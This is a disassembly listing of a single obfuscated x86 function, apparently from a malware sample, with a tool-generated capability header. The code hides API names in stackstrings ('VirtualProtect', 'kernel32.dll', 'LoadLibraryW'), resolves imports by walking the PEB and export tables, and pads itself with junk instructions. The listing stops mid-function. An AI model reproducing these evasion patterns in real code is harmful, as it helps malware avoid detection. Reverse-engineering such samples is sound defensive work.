Function at 0x41ad73
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x41a071
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
dec dword [edi]
mov bh, 0xc
push eax
dec dword [edi]
mov bh, 0xc
push eax
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x419ed5
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x419f87
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x419f87
push edi
push ebx
add esp, 4
and edi, 0x9a64
pop edi
push ebx
push edx
add esp, 4
jmp 0x419f1c
call 0x419f2a
add byte [edi + ecx*2], dh
dec esp
inc esi
cmp al, 0x3b
inc ebp
add esp, 4
xor ebx, 0x16d5f
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x419f79
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x419f80
jmp 0x419ec6
jmp 0x419f87
push esi
push edi
add esp, 4
xor esi, 0x18096
or esi, 0xada6
or esi, 0x94c8
pop esi
push eax
push esi
add esp, 4
or eax, 0x5283
pop eax
push edx
add edx, 0xf142
or edx, 0x9523
pop edx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x419fe6
mov dword [ebp - 0xc30], 0
jmp 0x41a055
push ecx
push ecx
add esp, 4
sub ecx, 0x9f83
pop ecx
push edi
sub edi, 0x13775
xor edi, 0xa090
pop edi
push esi
push eax
add esp, 4
sub esi, 0xd95e
add esi, 0x11d3c
and esi, 0xff11
pop esi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x41a04b
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x41a055
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x41a06c
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x41a07d
jmp 0x419e56
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x41a158
push edx
push ecx
add esp, 4
add edx, 0x14774
pop edx
push eax
push eax
add esp, 4
xor eax, 0x1427d
add eax, 0xe04e
and eax, 0x1272f
pop eax
push edx
sub edx, 0x16b45
or edx, 0xe051
pop edx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edi
push edi
add esp, 4
or edi, 0x11cd0
jmp 0x41a0db
sub edi, 0x11dba
jmp 0x41a0e7
pop edi
push edx
push eax
add esp, 4
add edx, 0x2db9
xor edx, 0x2eed
pop edx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x41a158
push edx
and edx, 0x11694
add edx, 0x9763
and edx, 0x78ab
pop edx
push esi
push edi
add esp, 4
xor esi, 0x1611d
and esi, 0x13651
jmp 0x41a142
and esi, 0x97c3
pop esi
mov dword [ebp - 0x738], 0
jmp 0x41a842
push ecx
push ebx
add esp, 4
xor ecx, 0x1757c
xor ecx, 0x6bde
add ecx, 0x4dec
pop ecx
push edx
xor edx, 0x67b2
xor edx, 0xb774
xor edx, 0x638f
or edx, 0x11d52
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edi
push eax
add esp, 4
jmp 0x41a1bc
pop edi
push esi
push ebx
add esp, 4
jmp 0x41a1c8
pop esi
push ecx
or ecx, 0x49f7
and ecx, 0x3d1c
or ecx, 0x280b
xor ecx, 0x60e0
pop ecx
cmp dword [ebp - 0x14f4], 0
jne 0x41a1fb
mov dword [ebp - 0x2e0], 0
jmp 0x41a4a2
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push esi
push ecx
add esp, 4
add esi, 0xa847
call 0x41a227
add byte [edx], dh
aas
xor ecx, dword [edx + 0x44]
dec edi
dec edx
dec edx
inc ebp
add esp, 4
pop esi
push ecx
sub ecx, 0x4b7
and ecx, 0x8a70
add ecx, 0x5f2b
pop ecx
cmp dword [ebp - 0xc3c], 0
jne 0x41a257
mov dword [ebp - 0x2e0], 0
jmp 0x41a4a2
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push esi
push esi
add esp, 4
xor esi, 0xeed7
pop esi
push ecx
or ecx, 0x100b
call 0x41a285
add byte [esi], bh
cmp eax, 0x48413437
inc edi
inc edx
dec esi
add esp, 4
or ecx, 0x470b
xor ecx, 0xa609
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ebx
or ebx, 0x15e05
xor ebx, 0xaaed
pop ebx
push esi
push ecx
add esp, 4
sub esi, 0x85bf
call 0x41a2e7
add byte [esi + edi + 0x39], al
xor edi, dword [esi]
cmp edx, dword ss:[eax + 0x4b]
add esp, 4
sub esi, 0x16805
pop esi
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edx
push eax
add esp, 4
or edx, 0x12b50
pop edx
push ecx
push ecx
add esp, 4
sub ecx, 0x5c6c
sub ecx, 0x170b3
pop ecx
push esi
xor esi, 0x648d
add esi, 0x2fe0
or esi, 0x3ccc
pop esi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x41a397
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x41a3f1
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x41a2bf
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x41a2bf
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x41a3db
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x41a3e5
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x41a43a
push ebx
add ebx, 0x7f0a
xor ebx, 0x6a0
pop ebx
push esi
push ebx
add esp, 4
or esi, 0x1117f
call 0x41a422
add byte [edx + ecx*2], bh
xor esi, dword [ecx + ecx*2]
xor al, 0x3d
inc esp
aaa
add esp, 4
sub esi, 0x7c6e
pop esi
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x41a4a2
push edi
add edi, 0x10893
xor edi, 0x1771e
sub edi, 0xae0b
pop edi
push esi
push edi
add esp, 4
call 0x41a460
add byte [eax + 0x47], al
cmp al, 0x4e
dec esp
cmp eax, 0x4c48339
jmp 0x41a46b
pop esi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x41a498
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x41a263
mov dword [ebp - 0x2e0], 0
push ebx
push eax
add esp, 4
jmp 0x41a4b0
pop ebx
push esi
call 0x41a4c1
add byte [ebx], dh
inc esp
dec esi
inc edx
xor al, 0x34
inc eax
cmp al, byte [ebx + 0x7eb04c4]
xor eax, 0x50333d43
cmp byte [0x815dee81], dh
add byte [eax], al
pop esi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push edx
push edi
add esp, 4
add edx, 0x6b52
or edx, 0x12709
and edx, 0x9eb0
pop edx
push ecx
push eax
add esp, 4
and ecx, 0x1062b
jmp 0x41a50c
pop ecx
push esi
add esi, 0xab4
pop esi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x41a545
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x41a836
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x41a56d
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x41a836
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x41a59f
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x41a836
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x41a5c4
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x41a836
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x41a61e
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x41a82a
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x41a68e
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x41a740
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x41a740
push edi
jmp 0x41a6c1
jmp 0x41a6c9
call 0x41a6d7
add byte [ecx + 0x43], al
inc ebp
inc esi
cmp eax, 0x834b3d32
les eax, [edi + ebx*2]
push eax
push edx
add esp, 4
sub eax, 0x15bad
xor eax, 0xb5c5
pop eax
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x41a732
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x41a739
jmp 0x41a67f
jmp 0x41a740
push eax
push esi
add esp, 4
add eax, 0x231f
or eax, 0xd5fe
add eax, 0x159d5
pop eax
push esi
sub esi, 0x12f11
and esi, 0xdcd2
pop esi
push esi
push ecx
add esp, 4
sub esi, 0x15a8b
pop esi
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x41a79f
mov dword [ebp - 0xc40], 0
jmp 0x41a80e
push eax
push edx
add esp, 4
add eax, 0x14129
pop eax
push edi
push esi
add esp, 4
sub edi, 0x136be
sub edi, 0xb2ff
and edi, 0x275e
pop edi
push esi
sub esi, 0x12795
xor esi, 0xb327
pop esi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x41a804
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x41a80e
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x41a825
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x41a836
jmp 0x41a60f
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edx
and edx, 0xcc84
sub edx, 0x8acf
pop edx
push edi
push esi
add esp, 4
xor edi, 0x1653f
pop edi
push ebx
push esi
add esp, 4
xor ebx, 0xeea7
pop ebx
push edi
push edx
add esp, 4
and edi, 0xd07c
pop edi
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
push ebx
add esp, 4
sub edi, 0xc5b3
sub edi, 0x6f09
pop edi
push ecx
push edx
add esp, 4
sub ecx, 0xb62c
jmp 0x41a8a8
pop ecx
push ebx
push eax
add esp, 4
sub ebx, 0x15fd5
pop ebx
cmp dword [ebp - 0x3cc], 0
je 0x41a8c7
cmp dword [ebp - 0xa5c], 0
jne 0x41a90d
push esi
sub esi, 0xcd70
pop esi
push esi
push ecx
add esp, 4
xor esi, 0xc6ae
add esi, 0x154fd
sub esi, 0x9924
pop esi
push ebx
push edi
add esp, 4
jmp 0x41a8f2
and ebx, 0x142fb
pop ebx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
or eax, 0x6a9e
jmp 0x41a924
and eax, 0x6e16
pop eax
push edx
push edx
add esp, 4
add edx, 0x9b67
xor edx, 0xf51
pop edx
push edx
push esi
add esp, 4
add edx, 0x4b75
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ecx
or ecx, 0xfc70
and ecx, 0x14ce0
and ecx, 0x1056d
or ecx, 0x15de4
pop ecx
push eax
push ecx
add esp, 4
xor eax, 0x8247
add eax, 0x120a9
or eax, 0x169c0
pop eax
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
xor edx, 0x5a9e
or edx, 0x90e9
sub edx, 0x11308
and edx, 0x4a7c
pop edx
push edx
push edx
add esp, 4
and edx, 0x41a1
sub edx, 0x16232
and edx, 0x167f
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
and esi, 0xdc89
xor esi, 0x68da
or esi, 0x1073e
pop esi
push ecx
push edx
add esp, 4
call 0x41aa90
add byte [edi], bh
cmp al, 0x32
xor bh, byte [ebx]
dec ebx
inc ebx
inc ecx
dec edx
add esp, 4
sub ecx, 0x2265
pop ecx
cmp dword [ebp - 0x150c], 0
jne 0x41aab2
mov dword [ebp - 0x2a8], 0
jmp 0x41ad59
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
sub eax, 0x81d7
call 0x41aad9
add byte [esi + 0x35], cl
dec ebp
cmp dword [edx], edi
cmp eax, 0xc4834739
add al, 0x58
push ecx
and ecx, 0x314
pop ecx
push esi
push eax
add esp, 4
or esi, 0x15fdb
jmp 0x41aaf5
pop esi
cmp dword [ebp - 0xc4c], 0
jne 0x41ab0e
mov dword [ebp - 0x2a8], 0
jmp 0x41ad59
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push eax
add eax, 0x17eeb
and eax, 0xc3a8
or eax, 0x2057
pop eax
push eax
push ecx
add esp, 4
add eax, 0x1359f
or eax, 0xe99d
or eax, 0xf038
add eax, 0xe2a2
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
push ecx
add esp, 4
call 0x41ab89
add byte [ebx + 0x35], al
cmp al, 0x44
dec esp
cmp dword [ebx - 0xd7efb3c], eax
inc ebp
xchg dword [eax], eax
add al, ch
pop es
add byte [eax], al
add byte [eax], al
dec ecx
aaa
inc esi
cmp dword [ecx + 0x3d], ecx
add esp, 4
or edx, 0x49fa
pop edx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ecx
push eax
add esp, 4
xor ecx, 0xf3ab
pop ecx
push edi
or edi, 0x5582
or edi, 0x17004
pop edi
push ebx
jmp 0x41ac21
jmp 0x41ac2a
or ebx, 0x17c1f
pop ebx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x41ac4e
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x41aca8
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x41ab76
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x41ab76
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x41ac92
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x41ac9c
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x41acf1
push edi
push ecx
add esp, 4
add edi, 0x55e1
pop edi
push edi
push eax
add esp, 4
jmp 0x41acc9
call 0x41acd7
add byte [edi + 0x32], cl
xor edi, dword [ebx]
xor eax, 0x83483f4f
les eax, [edi + ebx*2]
push eax
and eax, 0x2e01
pop eax
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x41ad59
push edx
or edx, 0xd1d7
sub edx, 0x8378
xor edx, 0x9a16
pop edx
push edi
push ebx
add esp, 4
add edi, 0x5eee
or edi, 0x1f0c
or edi, 0xac1a
xor edi, 0x89c9
pop edi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x41ad4f
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x41ab1a
mov dword [ebp - 0x2a8], 0
push ecx
push edi
add esp, 4
xor ecx, 0x152b1
call 0x41ad73
add byte [eax], bh
dec ebp
inc esp
dec ebp
inc edx
inc edx
cmp byte [eax - 0x7d], dl
les eax, [ecx + eax*4]
int1
push ss
cmp al, byte [ecx]
add byte [ecx + 0x23dbc1], al
add byte [ecx + 0x52], bl
and edx, 0x5588
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x41b690
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ebx
push ecx
add esp, 4
add ebx, 0xfb21
add ebx, 0x15ed5
and ebx, 0x379b
add ebx, 0x9f25
pop ebx
push edi
or edi, 0x103b4
xor edi, 0x10f0a
xor edi, 0x13e21
pop edi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
add esi, 0x939f
or esi, 0x7f84
pop esi
push eax
jmp 0x41aefe
add eax, 0x20f5
jmp 0x41af0d
pop eax
push ebx
jmp 0x41af17
push es
push ecx
xor ecx, 0xde0a
or ecx, 0xda95
pop ecx
push esi
push edx
add esp, 4
call 0x41b6b2
add byte [ebp + 0x37], cl
dec ebp
xor al, 0x41
cmp eax, dword [ebp + 0x3e]
dec edx
add esp, 4
and esi, 0xfcb6
and esi, 0xc856
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
push eax
add esp, 4
call 0x41b6ff
add byte [edx + 0x36], al
dec ebp
xor al, 0x40
inc ebx
cmp al, 0x35
inc ebp
inc esi
add esp, 4
jmp 0x41b708
or ecx, 0x120a5
and ecx, 0x8406
pop ecx
push edi
jmp 0x41b71b
pop edi
cmp dword [ebp - 0x1574], 0
jne 0x41b734
mov dword [ebp - 0x2a8], 0
jmp 0x41b9db
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ebx
call 0x41b757
add byte [edi], bh
push eax
inc ebp
inc esp
inc ecx
cmp byte [esi], bh
dec esi
aaa
dec esp
add esp, 4
and ebx, 0x593f
pop ebx
push ecx
add ecx, 0xad1f
jmp 0x41b76e
jmp 0x41b777
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x41b790
mov dword [ebp - 0x2a8], 0
jmp 0x41b9db
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push esi
push ebx
add esp, 4
jmp 0x41b7a7
pop esi
push edi
xor edi, 0x4cc1
pop edi
push ecx
push esi
add esp, 4
sub ecx, 0xa8ec
add ecx, 0x3c76
pop ecx
push ebx
push edi
add esp, 4
sub ebx, 0x103f2
pop ebx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edi
or edi, 0x611b
sub edi, 0x80c
pop edi
push edx
push ecx
add esp, 4
or edx, 0x2743
sub edx, 0x731b
pop edx
push esi
call 0x41b826
add byte [ebx + eax*2], dh
inc eax
push eax
inc ebx
dec esi
add esp, 4
pop esi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edi
sub edi, 0x17558
add edi, 0x1891
or edi, 0x5ac8
sub edi, 0xf5bf
pop edi
push esi
push eax
add esp, 4
or esi, 0x1647e
xor esi, 0xbbe8
and esi, 0x73fb
pop esi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x41b8d0
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x41b92a
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x41b7f8
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x41b7f8
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x41b914
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x41b91e
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x41b973
push eax
or eax, 0x57f6
pop eax
push edi
push edi
add esp, 4
add edi, 0x5674
pop edi
push esi
push eax
add esp, 4
xor esi, 0x3acd
pop esi
push esi
push ecx
add esp, 4
add esi, 0x17d90
add esi, 0x8d2e
pop esi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x41b9db
push ebx
push edi
add esp, 4
jmp 0x41b980
add ebx, 0x6ac6
xor ebx, 0xb04
xor ebx, 0x34fe
pop ebx
push eax
push ebx
add esp, 4
or eax, 0x1c0f
and eax, 0xec81
pop eax
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x41b9d1
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x41b79c
mov dword [ebp - 0x2a8], 0
push edi
push eax
add esp, 4
call 0x41b9f0
add byte [ecx], bh
inc esi
inc eax
inc esi
push eax
cmp al, byte [ebp + esi + 0x3d]
inc edx
add esp, 4
or edi, 0xc0c5
add edi, 0xe600
pop edi
push eax
sub eax, 0xfc6c
jmp 0x41ba0c
pop eax
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ebx
push edx
add esp, 4
add ebx, 0xfff1
xor ebx, 0x11a05
pop ebx
push edi
and edi, 0x13573
